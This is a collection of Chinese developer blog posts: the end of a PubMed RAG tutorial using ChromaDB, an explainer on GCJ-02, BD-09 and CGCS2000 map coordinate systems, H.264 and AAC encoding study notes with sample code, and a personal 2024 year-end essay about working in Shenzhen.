storage_folder_path = "backend/data"  # 定义本地存储文件夹路径
store = LocalJSONStore(storage_folder_path)  # 创建 LocalJSONStore 实例,用于管理本地存储
query_id = store.save_dataset(abstracts, query)  # 保存摘要数据到本地,并返回查询 ID

# 第三步:使用 ChromaDbRag 创建向量索引,利用从 LocalJSONStorage 中读取的文档
persist_directory = "backend/chromadb_storage"  # 定义 Chroma 数据存储目录
rag_workflow = ChromaDbRag(persist_directory, embeddings)  # 创建 ChromaDbRag 实例,用于处理向量存储
documents = store.read_documents(query_id)  # 读取存储中的文档数据
vector_index = rag_workflow.create_vector_index_for_user_query(documents, query_id)  # 创建向量索引

# 使用原始用户查询在新创建的向量索引上执行相似性搜索:
print(vector_index.similarity_search(query))  # 执行相似性搜索,并打印结果
  • 客户端代码使用PubMedAbstractRetrieverget_abstract_data方法来检索文摘,使用LocalJSONStore将文摘保存到本地文件系统,接着使用ChromaDbRag创建向量索引。最后,在代码的最后一行,使用原始用户查询对该索引进行相似度搜索。
  • 输出日志如下所示:

  • 在日志的下面,你会看到一个打印出来的文档列表,这些文档在使用初始查询进行相似度搜索时得分最高。

总结

  • 我们已经完成了基于PubMed的AI Agents应用后端部分的构建,包括数据持久化和向量化的实现。
  • 我们测试了到目前为止构建的所有后端组件的协作情况。
  • 我们展示了如何使用JSON文件和本地文件系统存储数据的示例,以及如何使用ChromaDB作为本地向量存储。
  • 我们设计了接口,方便轻松替换自己喜欢的向量存储和数据仓库实现。

以上就是本部分的全部内容!在系列的最后一部分中,我们将结合相似度搜索和大语言模型(LLM),为使用人员的初始问题生成答案,并使用我们在Streamlit中构建的聊天界面进一步探索这些数据。期待与你再次相见!

by MobotStone at January 23, 2025 06:31 AM

juejin career

定位偏移了?高德、百度、天地图等不同坐标系的简介

在地图开发和地理信息处理中,坐标系是一个至关重要的概念。不同的地图服务提供商,如高德地图、百度地图和天地图,使用了不同的坐标系统,这常常给开发者带来困扰。本文将深入探讨这些坐标系的特点、历史背景以及它们之间的差异,帮助读者更好地理解和应用这些坐标系统。

坐标系概述

在深入了解各个地图服务商的坐标系之前,我们先来了解一下本文中涉及到的主要坐标系:

  • 高德地图: 使用 GCJ-02 坐标系,也称为火星坐标系。它是基于国际标准 WGS-84 坐标系进行加密处理得到的。其坐标格式为经纬度 [lng, lat]
  • 百度地图: 采用 BD-09 坐标系,这是在 GCJ-02 基础上进行二次加密而来的,具有更高的安全性和隐私保护。其坐标格式同样为经纬度 [lng, lat] 或米制坐标 [x, y]
  • 天地图: 使用 CGCS2000 坐标系,该坐标系与 WGS-84 存在微小偏差,在要求不高的情况下可以直接与 WGS-84 互换使用。其坐标格式也是经纬度 [lng, lat]

除了上述三种主要的地图服务外,还有其他一些常见的坐标系,包括:

  • WGS-84: 全球通用的标准坐标系,广泛用于GPS设备。
  • UTM(Universal Transverse Mercator): 一种平面直角坐标系,适合于大范围的地图应用,分带投影。
  • EPSG:4326: 是 WGS-84 的地理坐标系编码,用于描述地理位置

各个坐标系的特点与历史

GCJ-02(火星坐标系)

特点:

  • 加密处理: 为了保护地理信息安全,防止未经授权的地图数据被直接用于敏感用途,国家测绘局于2002年发布了 GCJ-02 标准,对 WGS-84 坐标进行了加密偏移处理
  • 国内标准: 它是地区地图服务的标准
  • 坐标偏移: 由于加密处理,GCJ-02 坐标与 WGS-84 坐标存在一定的偏移,直接使用 WGS-84 坐标在 GCJ-02 地图上会产生位置偏差。

历史:

为了保护国家地理信息安全,从而产生了 GCJ-02 这一标准。

BD-09

特点:

  • 二次加密: BD-09 是在 GCJ-02 基础上进一步加密而成,百度自主研发了其加密算法。
  • 更高安全性: 该坐标系在准确性和安全性方面有较大提升,适合用于百度的各类服务。
  • 坐标偏移: BD-09 坐标与 GCJ-02 和 WGS-84 坐标都存在偏移,直接使用其他坐标系数据会导致位置不准确。

历史:

随着互联网的发展和用户隐私保护意识的提高,百度为增强其地图服务的安全性和准确性,开发了 BD-09 坐标系统。

CGCS2000

特点:

  • 高精度: CGCS2000 是中国国家大地测量局于2000年发布的大地坐标系统,与 WGS-84 相容性极高,适合进行高精度测量。
  • 与WGS-84兼容: 通常可以直接与 WGS-84 互换使用,误差非常小。
  • 国家标准: 它是中国国土资源管理和科学研究的基础。

历史:

CGCS2000 是为了适应中国国土资源管理和科学研究需要而制定的一项国家标准,其精度和可靠性使其成为天地图等服务的基础。

WGS-84

特点:

  • 全球通用: 作为全球通用的标准,大多数 GPS 设备均使用此坐标系。
  • 地球椭球体: 它以地球椭球体为基础,能够提供全球范围内的位置数据。
  • 基准坐标系: 其他坐标系通常以 WGS-84 为基准进行转换。

UTM

特点:

  • 平面直角坐标: UTM 是一种平面直角投影系统,将地球表面划分为多个区域,每个区域都有自己的坐标系统。
  • 分带投影: UTM 将地球划分为多个纵带,每个纵带都有独立的坐标系统,因此适合于小范围、高精度的应用。
  • 应用场景: 适合于城市规划、土地管理等需要高精度平面坐标的应用。

坐标系选择与应用

这些不同的坐标系统各有优缺点,适用于不同场景。在选择使用时,需要根据具体需求来决定最合适的坐标系统:

  • 高德地图应用: 必须使用 GCJ-02 坐标系。
  • 百度地图应用: 必须使用 BD-09 坐标系。
  • 天地图应用: 可以使用 CGCS2000 或 WGS-84 坐标系。
  • GPS 设备: 通常使用 WGS-84 坐标系。
  • GIS 系统: 可以根据项目需求选择合适的坐标系,例如 UTM 用于高精度局部应用。

在实际开发中,如果需要将不同坐标系的数据进行整合,必须进行坐标转换。市面上有很多坐标转换工具和库,可以方便地实现不同坐标系之间的转换。

结论

理解不同地图服务商所采用的坐标系是地图开发和地理信息处理的基础。本文详细介绍了高德地图、百度地图和天地图所使用的 GCJ-02、BD-09 和 CGCS2000 坐标系,以及其他常见的坐标系,如 WGS-84 和 UTM。希望通过本文的介绍,能够帮助开发者更好地理解和应用这些坐标系统,避免在开发过程中出现坐标偏移等问题。在实际应用中,请务必根据具体需求选择合适的坐标系,并在必要时进行坐标转换。

by 火车叼位 at January 23, 2025 06:15 AM

juejin ios

音视频学习笔记五——从0开始的播放器之编码简介

题记:上一节解封装获取的streams,包含了媒体文件的数据,这些数据通常是经过压缩的。压缩的过程称为编码,而解码就是重构图像和声音数据。编解码作为最核心内容,还是需要了解一下编码理论,本节梳理编码流程,下节介绍FFmpeg的解码,如果对理论不感兴趣可以暂时略过。同样可以结合ffplay和Demo更容易理解。

编码简介

前文介绍的,编码实际上是利用信息冗余去除技术对数据进行压缩,编码后则可以降低到原来的几十分之一甚至更低,其中基本技术通常包括:

  • 空间冗余:相邻像素之间有较强的相关性,帧内压缩技术
  • 时间冗余:相邻图像之间内容变化不大,帧间压缩技术,I帧P帧B帧的由来
  • 编码冗余:不同像素值出现的概率不同,如变长编码技术
  • 视觉冗余:视觉系统对某些细节不敏感,如有损压缩技术
  • 知识冗余:根据已有知识进行优化,如智能编码技术

视频编码

常见的视频编码有3个系列:

  • ISO-MPEG/ITU-T 系列
    • H.264 高级视频编码(Advanced Video Coding,简称 AVC)
    • H.265 高效率视频编码(High Efficiency Video Coding,简称 HEVC)
    • H.266 多功能视频编码(Versatile Video Coding,简称 VVC)
  • AOM 系列
    • VP8 一个开放的图像压缩格式,随后由Google发布
    • VP9 是 Google 提供的开源的免费视频编码格式,是 VP8 的后续版本
    • AV1 Alliance for Open Media Video 1 是由 AOM(Alliance for Open Media,开放媒体联盟)制定的一个开源、免版权费的视频编码格式
  • AVS 系列 中国具备自主知识产权的系列编码标准
    • AVS2 第二代数字音视频编解码技术标准(AVS2)
    • AVS3 AVS3 增加了对 8K 分辨率的支持

H.264的计算复杂度相对较低,其编码和解码算法相对简单,使得它在早期的硬件设备上也能得到较好的支持。后续的系列往往有更高的压缩比,但也需要更强大的计算资源来进行复杂的预测、变换和熵编码等操作,本章着重介绍H.264。

H.264编码流程

编码流程

H.264编码流程大致分为

  • 输入处理
  • 帧类型分析
  • 帧内/帧间预测
  • 变换+量化
  • 环路滤波
  • 熵编码
  • 网络抽象层处理 H264模块.jpg

下图是H.264编码框架图(红色帧间,蓝色帧内),但实际上图中没有标出帧操作还是块操作,理解起来还是比较难,此处可以先略过,结合后文解释再来理解。 H264编码.jpg

1. 输入处理

原始视频数据的颜色空间(一般是RGB),通常会被转成YUV格式。这里其实是视觉冗余的第一个应用。

  • RGB
    • 每个像素包含R、G、B三个分量,每个分量一个字节;
    • 色彩直观,易于理解和使用,位图存储就是RGBA形成。
  • YUV
    • 亮度和色度分离,每个像素有一个Y分量,表示亮度,也就是灰度图的值。
    • U和V分量表示色度,根据采样格式的不同,U和V分量的数量会有所不同(如4:2:0采样中,每四个像素共用一个U分量和V分量)
    • 适用于视频存储和传输,如视频压缩、广播电视等
  • 相互转换
    • RGB转YUV:
      • Y=0.299R+0.587G+0.114B
      • U=0.492(B-Y)
      • V=0.877(R-Y)
    • YUV转RGB:
      • R=Y+1.140V
      • G=Y-0.395U-0.581V
      • B=Y+2.032U

由于人的视觉对亮度更敏感,色度方面都存在一定冗余,所以YUV会有不同的格式,如YUV444、YUV422、YUV420、YUV411等,如下简图。YUV444和RGB使用相同长度的字节,所表达的信息量是一样,而YUV420编码是RGB的一半长度。

  • 使用更少的字节,如下图4个像素,RGB需要12字节,而YUV420仅需要6个字节
    • 4个像素块共用一个UV
    • Y和UV不等长,传输时一般是 YY...YYUV...UV或者YY...YYU...UV...V
  • 编码上更容易实现压缩。 YUV与RGB.jpg

补充一点,在相机开发使用YUV420,Y和UVOpenGL通常会是两个纹理,亮度(UV)纹理宽高是亮度(Y)纹理的1/2,就是这个原因。以下是GPUImage的处理:

// 亮度纹理
CVOpenGLESTextureCacheCreateTextureFromImage(kCFAllocatorDefault, [[GPUImageContext sharedImageProcessingContext] coreVideoTextureCache], cameraFrame, **NULL**, GL_TEXTURE_2D, GL_LUMINANCE, bufferWidth, bufferHeight, GL_LUMINANCE, GL_UNSIGNED_BYTE, 0, &luminanceTextureRef);
// 色度纹理
CVOpenGLESTextureCacheCreateTextureFromImage(kCFAllocatorDefault, [[GPUImageContext sharedImageProcessingContext] coreVideoTextureCache], cameraFrame, **NULL**, GL_TEXTURE_2D, GL_LUMINANCE_ALPHA, bufferWidth/2, bufferHeight/2, GL_LUMINANCE_ALPHA, GL_UNSIGNED_BYTE, 1, &chrominanceTextureRef);
2. 类型分析

台球运动.jpg 对于视频来说,实际上是一幅幅图像构成,而在随意截取的片段中前后图像常常有很大相似性,这就是时间冗余。由于前后帧之间的相似性,衍生出了I帧P帧B帧和GOP的概念。 GOP.jpg

  • GOP(Group of Pictures)
    • GOP通常认为两个关键帧之间的图像序列,包括前一个I帧,不包括后一个I帧。但这个说法并不严谨
    • 在一些情况下,为了实现更高的随机访问能力、更好的错误恢复性能或更灵活的编辑操作,编码器可能会在一个GOP中插入多个I帧;
    • GOP分为开放GOP和闭合GOP,区别在于闭合GOP只能参考GOP内部帧,开放GOP可以参考前一个GOP的帧;
    • GOP的划分可以配置成固定长度的,也可以是可变的(根据视频内容变化,提高编码效率);
  • I帧(Intra-coded frame,帧内编码帧)0x61
    • I帧包含一个完整画面的信息,采用帧内压缩编码技术,
    • I帧可以独立解码,通常用作GOP的起始帧。
  • IDR帧(Instantaneous Decoding Refresh frame 即时解码刷新帧)0x65
    • 特殊的I帧
    • 在解码时会清空之前的解码信息
    • IDR帧通常也用作划分GOP的边界。
  • P帧(Predictive-coded frame,预测帧)
    • P帧需要参考之前的I帧或P帧解码
  • B帧(Bi-predictive-coded frame,双向预测帧)
    • B帧需要参考前后的I帧和P帧解码
    • B帧的存在会导致DTS(解码顺序)和PTS(播放顺序)不一致,解码时需要先解码后面的P帧
3. 帧内/帧间预测

类型分析完后就可以进入帧编码阶段了,实际上为了有效分析图像信息,还需要先对图像切片,这里又引出了H.264的重点概念宏块。帧内/帧间预测的单位实际上就是宏块 H.264结构中,一个视频图像编码后的数据为一帧

  • 帧由一个或多个片构成
  • 片由一个或多个宏块构成
  • 宏块由16x16的YUV数据构成
  • 宏块还可以划分子块,子块的大小可以是 8X16、 16X8、 8X8、 4X8、 8X4、 4X4

H264结构.jpg

对于宏块而言,需要选择帧间预测还是帧内预测,根据帧的类型:

  • I帧为帧内解码帧,所有宏块都会走帧内预测
  • P帧和B帧的宏块以帧间编码为主,某些宏块也可以选择帧内预测。
帧内预测

帧内预测是利用图像本身的相关性进行预测,简单来说就是根据周围的像素信息猜测当前宏块或子块,就是空间冗余的应用。

图中虚线部分实际是解码的部分流程,只所以编码也需要解码流程后面会讲到,这里主要表达帧内解码的参考信息不是来自原始图片,而是来自来对已经编码的块进行解码而获取到的信息。举例来说AB两个相邻块,A进行编码后得到A‘,然后使用A’而不是A的像素值进行对B的预测,这样可以保持和解码端处理一致。

H264帧内解码.jpg 预测有多种模式,根据色块大小不同,Y和UV分量也有差别,一般有如DC预测、水平预测、垂直预测等,如下图(44亮度9种,1616亮度4种),就是使用周边像素选择一定方式填充预测块,选择过程就是模式选择:

帧内预测.jpg 用实际值-预测试得到一个残差值。此时需要编码的有一个模式和残差值,比原来的值更多了。但由于图像上通常有一定相关性(空间冗余),残差值通常会有一定范围或者说规律,为后续处理提供了可能。

参差计算.jpg 此外,如果没有无法找到合适的模式(图像变动没有规律)时,也可以直接使用本身的像素值不进行变化,即是I_PCM模式

帧间预测

帧间预测是使用已经解码的帧对当前块进行预测(时间冗余的应用),由于视频序列帧间具有很强的相关性,因此可以通过这种方式有效地去除视频中的时间冗余信息,从而实现压缩的目的,在框架图如下部分,是整个编码最耗时和复杂的部分。 H264帧间.jpg

帧间预测实际上就是找到与当前宏块或子块最接近的块,计算出运动向量和预测残差。运动向量指实际像素块与参考块之间的偏移(小范围的抖动);参考块与通过偏移得到预测像素,与真实像素的差值就是预测残差。需要把参考序号,运动向量和预测残差传入到编码才能构建出真实像素块。 帧间运动.jpg 这里列出涉及到3个概念:

  • 宏块分割
    • 宏块数据Y是16x16,UV是8x8
    • 16x16模式可分割为一个16×16,两个16×8,两个8×16,四个8×8
    • 8×8模式的子宏块还可以四种方式分割:一个8×8,两个4×8或两个8×4及4个4×4
    • 具体分割会根据图像内容、预测精度、编码效率等因素决定

image.png

  • 运动矢量&亚像素
    • 按照一定算法从已经编解码的帧中找出与当前块对接近的参考块,计算出运动矢量(偏移)
    • 运动矢量的最小精度,亮度是1/4,色度是1/8。
    • 即Y分量矢量可以是(1/4, -1/2),整数对应Index,而像这样的(1.5, 0.125)不能对应真实的像素点,就是亚像素点,具体需要使用公式算出。
      • F(n+0.5) = round([F(n-2)-5F(n-1)+20F(n)+20F(n+1)-5F(n+2)+F(n+3)] / 32)
      • F(n+0.25) = round([F(n)+F(n+0.5)]/2)
      • 色度还有1/8精度可参考其他文档

亚像素点.jpeg

  • 运动预测

为了进一步压缩运动向量(MV),还有运动估计(ME)的概念。具体根据周边已经计算过的MV,左MV(A),上MV(B)和右上MV(C),按照一定规则得到MVp(Motion Vector Prediction,运动矢量预测)。而预测的结果和实际的MV还是有差别的,这个差值就是MVD,即当前运动矢量MV与预测运动矢量MVp之间的差值。此时传输时需要传输参考信息,MVD和预测参差。

image.png

4. 变换量化与熵编码

注意,上述无论是帧间(4x4~ 16x16亮度、4x4~ 8x8色度)还是帧内(16x16和4x4亮度、8x8色度),实际上增加了信息,如残差块就和原本色大小相同,此外还需要额外的参考信息等。但如果是有效预测的话,残差块的值会有一个小范围的浮动,就可以使用DCT变换与量化进行压缩。

DCT与低通滤波应用示例

此处内容与H.264编码无关,是本人在学习OpenCV中的笔记,帮助大家理解DCT是怎么回事,如何在图片压缩上起作用,关于傅里叶变换自己也是上学时没明白,在用到OpenCV才懂,书到用时方恨少

  • 傅里叶变换 抛开公式不谈,傅里叶变换就是把时域信号映射到频域的变换,如下图,把时域上的信号波形看作一系列不同频率的正余弦波。 2271737533703_.pic.jpg
  • 离散傅里叶变换
    • 时域上的离散对应频域上的周期,频域上的离散对应时域上的周期。把有限离散信号看成了可以无限延伸的周期离散信号,就是推出DFT变换。
    • 偶对称信号的虚部为0.于是把有限离散信号先扩展成对称图形,再扩展成周期信号,就是DCT变形。

这里给出DCT的一个应用,图像处理(二维傅里叶变换,或者DCT、FFT)中低通滤波。就是把高频率(视觉冗余)的部分过滤掉,达到JPEG或者H.264数据压缩的目的,实际上会丢失一部分信息造成模糊的效果。

# 读取图像
image = cv2.imread('input.png')

# 将图像转换为灰度
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# 将图像转换为浮点型,方便后续处理
float_gray = np.float32(gray)
threshold = 100

# 对图像进行DCT变换
dct_matrix = cv2.dct(float_gray)
dct_abs = np.abs(dct_matrix)
dct_abs_normalized = cv2.normalize(dct_abs, None, 0, 255, cv2.NORM_MINMAX)
dct_abs_normalized_uint8 = np.uint8(dct_abs_normalized)
sub_dct = dct_abs_normalized_uint8[:threshold, :threshold]
np.savetxt('dct_context.txt', dct_abs_normalized_uint8, fmt='%d')
# 创建一个与dct_matrix形状相同的掩膜
mask = np.zeros(dct_matrix.shape, dtype=np.float32)
# 将低频部分置为零(或接近零的某个小值,以避免逆DCT后的伪影)
mask[:threshold, :threshold] = 1
# 应用掩膜到DCT矩阵上
filtered_dct = dct_matrix * mask

# 执行DCT逆变换
inverse_dct = cv2.idct(filtered_dct)
# 由于IDCT的结果可能包含负值或超出0-255范围的值,我们需要将其裁剪到有效的8位图像范围内
inverse_dct = np.clip(inverse_dct, 0, 255)

# 将结果转换回8位无符号整数类型
inverse_dct = np.uint8(inverse_dct)

input大小是(720,1080),右边是DCT变换后低通滤波的效果,中间是DCT变换数据展示,可以看到除了左上角其他地方都是黑色的(值比较小)。左上角对应的就是低频信号,右下对应高频信号。也就是说只需要存储(100,100)的数据就可以达到result效果,当然可以调整threshold达到想要的效果。 image.png

打开保存的DCT变换的数据,如下图。可以看到右下的有效数据会越来越少,而这些高频信息对视觉上影响也较小。这就为压缩提供了可能(舍弃一定清晰度)。实际上对于H.264不是对图片本身做变换,而是对块的残差或者运动残差做DCT变换;也不是像低通滤波直接变成0而是采用量化的方式减小精度,再通过变长编码减小位数。 image.png

  • H.264中的DCT

经过帧间/帧内预测,残差块亮度4x4 ~ 16x16,色度4x4 ~ 8x8.对于DCT变换(这里是整数DCT变换)得到的(0,0)位置上的为DC系数(代表了图像块的平均亮度或色度值),其他位置上为AC系数(代表了图像块中的细节信息,如边缘、纹理等),分别进行处理如图

量化.jpg 分块成4x4区域做DCT变换,如果DC系数是4以上做Hadamard变换,变换后的图像数据可能更加集中或稀疏。这样16x16块分成16个4x4块,即有16个DC系数,8x8块有4个DC系数,分别做相应的Hadamard变换。最后分别对DC和AC系数做量化处理。

  • 量化与熵编码

前面的步骤无论是帧间帧内还是DCT变换,还都不会造成图像画质上的损失。而量化本质上是把变换而来的连续数值离散化,简单来说就是(x / Qstep)取整Qstep称为步长。量化会带来一定精度的损失,步长越大压缩越多,图像清晰度也越差。这时回头看一下DCT变换的结果,上一节中的图片(经过归一化取整了),可以看出左上的变动大,值也比较大,而越往右下变动越小,所以量化更影响高频(视觉冗余)。

量化后的数据更方便熵编码,这一步是无损压缩。可类比大学课程中的霍夫曼编码,出现频率越高的编码短,以此来压缩数据。H.264采用两种熵编码方法:基于上下文的自适应可变长度编码(CAVLC)和基于上下文的自适应二进制算术编码(CABAC)。

6. 环路滤波

此时再回头看下本节开始的流程图,还有一部分没有用到。上文中经过熵编码的数据已经可以封装输出了,下图的路径其实是在解码,为什么编码端需要用到解码呢? 环路滤波.jpg

事实上这里是为了使用和解码端一致的参考块(帧内)和参考帧。编码端是有原图像的,无论是帧间还是帧内使用的参考帧都是已编码再解码得到的图像。此处的参考帧或者参考块是经过压缩的,和原图有差别,但能和解码端保持一致。

解码后的宏块组成图像,还要经过环路滤波才是解码端的效果,环路滤波是以图像为单位的。整体上在编码会以宏块(子块为单位),又有一定精度损失,块边界又常常是信号高频区域。因此会出现以下现象:

块效应.jpeg

环路滤波对重建图像进行平滑处理,减少编码过程中引入的块效应和振铃效应等,具体大家可以查更详细的文档。

编码结构

H264分层.jpg

  • AnnexB格式和RTP格式
    • AnnexB格式以起始位0X01开始,后面是NAL Unit
    • RTP格式是NAL Unit封装成RTP数据包,如在线流媒体服务
  • NAL Unit
    • NALU Header 1字节
      • forbidden_zero_bit:占用NAL单元头的第一个位,值默认0,值为1时表示错误
      • nal_ref_idc:占用NAL单元头的第2、3位,取值00~11,取值越大表示此NAL单元越重要。
      • nal_unit_type:4~8位,用来表示NAL单元的类型,标识IDR,数据帧,SPS和PPS,结束符等
    • NALU 主体(preload)
      • 视频压缩数据EBSP(Encapsulated Byte Sequence Payload)
        • SODB(String Of Data Bits) :原始数据比特流
        • RBSP(Raw Byte Sequence Payload) :在SODB的后面添加了trailing bits(一个bit 1和若干个bit 0),以便字节对齐
        • EBSP :为了避免NAL单元内部的数据与开始码冲突,在NAL单元内部每出现两个连续的00时,就增加一个0x03(称为仿效字节),从而预防压缩后的数据与开始码产生冲突。
  • Slice层
    • Slice Header
      • first_mb_in_slice:开始宏块索引
      • slice_type:I帧Slice P帧Slice B帧Slice
      • pic_parameter_set_id:PPS的索引
      • frame_num:当前Slice所属的帧的帧号
      • slice_qp_delta:前Slice的量化参数偏移量
      • disable_deblocking_filter_idc:表示是否禁用环形滤波器
    • Slice Data
      • 由宏块组成
  • Slice Data层
    • flags 指示slice数据的不同特性和状态
    • 宏块
      • mb_type 标识宏块类型和编码方式等
      • 块数据,分为I_PCM模式(宏块原数据)和预测模式,又化为子块等

音频编码

音频编码是指将模拟音频信号转换为数字信号的过程,主要通过抽样、量化和编码三个步骤实现,常用的编码。

  • 脉冲代码调制编码(PCM) 最基础的音频编码方式,保持高保真度,但文件体积较大。
  • 高级音频编码(AAC) :一种高效的压缩格式,保持高音质的同时,实现更小的文件体积。
  • SBC :蓝牙音频传输中最基础的编解码器。

PCM是对声音量化后的基本编码,AAC是利用冗余信息的有损编码,这里简要介绍一下AAC(对音频学习比较少~)。

AAC编码

AAC两个格式:

  • ADIF(Audio Data Interchange Format) 只有一个头信息,需要得到所有的数据后才能解码,适用于本地存储的音频文件。
  • ADTS(Audio Data Transport Stream) 每一帧都有头信息,因此可以在任意帧解码,可用于网络直播等需要实时传输和处理的场景。ADTS帧结构如下:

ADTS.jpg

by 路漫漫心远 at January 23, 2025 06:12 AM

juejin article

【2024年终总结】深圳工作生活评测

距离上次写年终总结已经过了一年半了,这一年半中哪怕经历了很多的事情,但是感觉又没发生什么。想写一些骚话,却总觉得自己无法完全表达,便也就这样,静静地记录下这一段时光。

微信图片_20250122234632.jpg

现在是2025年,春节前的时光,也是我正式工作的第四个年头,来到这家公司已经是第八个月了。时间悄然流逝,回想过去的八个月,虽然日子算短,但是感觉过了很久了。那份匆忙、忙碌的日常,渐渐变得平淡如水,仿佛每一天都过得静谧而无波。

今年转了Base地,到了国际大都市,很多同学听到房租闻之色变的深圳,其实来之前就做好了心理准备,但是没想到还是被深圳的房租吓到了。同样的一室一厅相比于广州要贵个3倍有余,足矣抵消从广州跳到深圳的所涨的薪。

记得来深圳找工作前,广州大抵是不欢迎我了。那时,我面试了好几家企业,但始终没能找到合适的地方。薪资未必合适,或者是彼此的期待不尽相符。所以我来深圳了。大抵深圳更适合打拼吧,确实节奏也更快,例如上班时间前夕大家出地铁站狂飙的人们。例如凌晨5点钟街边常亮的街灯和熙熙攘攘的出租车司机们。在日间,也许你能听到外卖员标着一口晦涩的外地话谩骂着堵他路的行人,他们的背影在阳光中渐行渐远,城市的节奏从未改变,而我,慢慢适应了它。

离开广州之前,尽管有些许的不舍,但也许,人生的某些转折,注定会悄然发生。说到为什么从广州离开深圳,无非是大家常说的两种情况,也不愿回想。但是我还是很喜欢广州,不管那边的人文环境也好,饮食习惯也罢,总能给人悠然自得的feel。在广州的珠江旁边吹着晚风散散步,听着不远处传来的粤剧歌声,身边是嬉笑的小孩和低语的大人,那一切,仿佛是岁月赠与的温柔。

在这边工作,很多同事操着一口流利的家乡话跟电话的另一头沟通。同样是流利的沟通,不过广州是流利的粤语,而深圳是流利的家乡话。都说深圳是外省人的第二个家乡,一点也不为过。

记得离开广州前夕,夙兴夜寐的去图书馆复习,和一起离职的朋友去吃着工作日的非工作餐,分享着最近面试的经历,憧憬着那些平静安稳的日子。希望在生活中能有更多属于自己的空间,少一点加班

或许是想改变一些生活的方式吧,我学会了养猫,给我的第一只蓝白取名叫王富贵,和我博客同名。刚到深圳时,我住过一些青年旅店,认识了一窝的程序员青年音乐旅行社社员。夜晚,我站在青旅的窗前,看着楼下的灯火,心中有许多柔软的思绪。曾经离开广州的理由,现在已经不再那么重要。生活,是一段随遇而安的旅程,往前走,不必太多回头。

这段日子,我开始学着画水粉画,养几盆花,种一些菜。尽管这只是些简单的日常,却让生活显得格外充实。生活的美好,并不在于某一刻的辉煌,而是在于这些平凡而温暖的小事,逐渐填满了心底的空白。毕竟生活还是自己的。

8b57cb8d8ac174d924351fb0e6004bd

上面的话基本概括了24年的历程,回看之前写的3篇总结

标题链接
一位工作一年的程序员的2021年度总结masiyi.blog.csdn.net/article/det…
我,做了两年程序员,存了巨款5000,你们拿什么跟我比?masiyi.blog.csdn.net/article/det…
【2023年中总结】是的,我从一家世界前百强企业毕业了,进入了一家只有20人的小企业。。。masiyi.blog.csdn.net/article/det…

今年也是写博客的第五年,时光飞逝,转眼间,许多事情都已经悄然改变。回想起高中时光,已经过去了十多年,那些曾经一同度过的青涩岁月,似乎已经被时间带走了。身边的同学和朋友们,陆陆续续步入了婚姻的殿堂,甚至不少人已经抱上了孩子,生活仿佛在不知不觉中进入了另一个阶段。

记得刚来深圳时,第一次面试便顺利通过,也许是因为之前裸辞期间夜以继日的在图书馆复习?也有可能是因为在广州要价太高导致的深圳工资不敢要太高的P要价太高恐惧症(有点PTSD的感觉)?之后也拿到了其他公司的offer,甚至薪资比现在还要高,但是面试官实诚地告诉我加班会非常多,因此我拒绝了。现在回想起来,这里加班似乎也并不少,但是想起这家实力比另外一家好,或许多少有些自我安慰的成分。

image-20250122194556777

不过,我们公司也没有停滞不前,跟上了时代的步伐,全面推出了AI相关的自研产品。说来也算是沾了这个风头,我也算是在ChatGPT爆火起来之后 Java AI开发的头几批开发者了?今年因为加班的缘故,写作的时间相较往年要少一些,整年写了大约40多篇文章,尽管如此,仍然很庆幸自己能够坚持下来,继续写一些自己感兴趣的内容。但是还是要追赶那些大佬的步伐,向他们学习。

今年,也是在写博客的过程中,第一次有品牌方主动联系我。虽然这笔合作金额不大,但对于我来说,这无疑是一次里程碑式的突破。从未想过自己的博客会吸引到商业合作的目光,虽然金额不高,但这份认可,让我感到格外欣慰。或许,这就是一路坚持下来最值得庆祝的小成就吧。

Java开发者的专业显示器推荐-明基RD280U

很遗憾的是,在我熟悉的写作领域,没能拿到CSDN的2024年博客之星的入围奖。虽然如此,我仍然深知自己还有很大的进步空间。每一次未能达到目标,反而让我更加明确了前行的方向和动力。不过,在掘金平台,我还是收获了一个小小的奖项,这也是一种认可,让我感到些许欣慰。

3149436e8102fee35dbc910c33b9720

除此之外,我也在CSDN做过一次线下分享会。那是我第一次作为嘉宾参与这类活动,心里既激动又紧张。感谢每一位朋友的捧场,也特别感谢CSDN广州主理人的邀请。那次经历让我深刻体会到,与人分享知识与经验的快乐,甚至比个人的进步更为珍贵。

bde8214a10fa6a21f5c161e2d2ef5b5

今年,我也去了一座很美的城市旅游,那就是广东的湛江。那次旅行,正值我从上一家公司裸辞,出来散心,心情也有些许的迷茫与不安。湛江是座内涵低调的城市,却有着自己独特的魅力。躺在海边的沙滩上,听着海风轻拂过沙粒,闭上眼睛,仿佛自己变成了海鸥,飞翔在辽阔的海空上,感受到一种久违的自由与宁静。

258a726291fe10c10a181d0c09ac385

然而,回到广州后,虽然一直未能找到合适的工作,最终还是来到了深圳。深圳,作为一座现代化的城市,给了我许多不同的体验。这里的山脉、海滩和公园,给我带来了不少放松的时刻。在周末的某个moment,我会一个人去爬山,在山顶俯瞰深圳的城市景观。闭上眼睛,深深地吸一口气,感觉这座城市并不像大家说的那样压抑。它有着属于自己的节奏和美。偶尔也会去公园看看书,或者去图书馆泡上一整天,静静地享受安静的时光,去海边跑跑步、散散步,感受深圳别样的魅力。这些,都是2024年里,我所做过的简单却珍贵的事情。

在这里插入图片描述 有趣的是,2023年的跨年,我是在深圳度过的。那时,我还是广州的游客,怀着好奇和期待踏上这座城市。然而,谁曾想,到了2024年,竟然以深圳社保参与人的身份跨年了。从一个被接待的“外来者”,到如今以接待者的身份,带着朋友们来深圳游玩的转变。那一刻,我明白了人生的很多变化,往往悄无声息,却又真实地发生着,尽管深圳当初不在自己的未来考虑范围之类。这里附上一张24年末的帅照(和朋友在深圳小梅沙的海滨栈道)

239dc552489fa8665f08a3a1c40fa1a

平时瘫坐在家里的沙发有感而发的时候弹弹吉他,看看电影,追追剧,玩玩游戏,其实一个人也是非常不错的选择不是吗。尽情地贪婪着享受一个人自由自在的时光!!

90a19e1cfc34302a8691e74ea50f6c2.jpg

没想到吧,我还是一个B站音乐UP主呢。平时的时候,也喜欢出去外面拍拍照,生活还是要慢慢品,外面的风景还是很美的:

fdf4f6b4cb6525fa4f39246d4ec07cf

4e9aaf52db7a0a3e18950dd79f8c8f7

d6fbb3b07bf44e6847c12d954822e91

说到AI,似乎这条路与我现在的工作有着不可思议的缘分。在广州做的关于ChatGPT的分享似乎也在冥冥之中帮助了我一把。24年找工作的时候,很多公司都要求你之前接触过甚至干过AI开发,包括我现在这家公司。

